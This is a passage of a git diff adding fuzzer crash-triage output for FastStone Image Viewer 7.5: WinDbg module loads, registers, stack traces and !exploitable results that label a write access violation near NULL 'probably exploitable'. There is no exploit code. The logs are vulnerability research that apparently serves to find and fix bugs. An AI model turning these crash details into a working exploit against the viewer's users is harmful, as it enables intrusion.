KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00369000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b3abcb1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53608/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2475fff Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..a84c117 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x54C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x54C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(54c.1930): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.995140000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.29038e-028 6.05458e-021 -2.64619e-033 -1.33381e+014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f3000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f3000 f254140e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f3000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..a84c117 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x54C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x54C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(54c.1930): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.995140000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.29038e-028 6.05458e-021 -2.64619e-033 -1.33381e+014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f3000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f3000 f254140e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f3000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 